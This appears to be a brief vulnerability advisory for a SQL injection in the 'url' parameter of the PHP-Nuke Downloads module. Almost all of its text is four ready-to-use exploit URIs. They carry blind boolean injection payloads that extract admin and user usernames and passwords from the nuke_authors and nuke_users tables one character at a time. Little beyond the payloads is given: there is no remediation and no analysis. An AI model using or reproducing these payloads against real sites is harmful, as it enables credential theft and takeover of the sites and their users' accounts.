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PHP-Nuke Downloads Module 'url' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URIs are available:

Admin Username :
http://www.example.com/[path]/modules.php?name=Downloads&d_op=Add&title=1&description=1&email=attacker@devil.net&&url=0%2F*%00*/'%20OR%20ascii(substring((select+a
id+from+nuke_authors+limit+0,1),1,1))=ascii_code_try%2F*

Admin Password :
http://www.example.com/[path]/modules.php?name=Downloads&d_op=Add&title=1&description=1&email=attacker@devil.net&&url=0%2F*%00*/'%20OR%20ascii(substring((select+p
wd+from+nuke_authors+limit+0,1),1,1))=ascii_code_try%2F*

Users Username :
http://www.example.com/[path]/modules.php?name=Downloads&d_op=Add&title=1&description=1&email=attacker@devil.net&&url=0%2F*%00*/'%20OR%20ascii(substring((select+u
sername+from+nuke_users+limit+0,1),1,1))=ascii_code_try%2F*

Users Password :
http://www.example.com/[path]/modules.php?name=Downloads&d_op=Add&title=1&description=1&email=attacker@devil.net&&url=0%2F*%00*/'%20OR%20ascii(substring((select+u
ser_password+from+nuke_users+limit+0,1),1,1))=ascii_code_try%2F*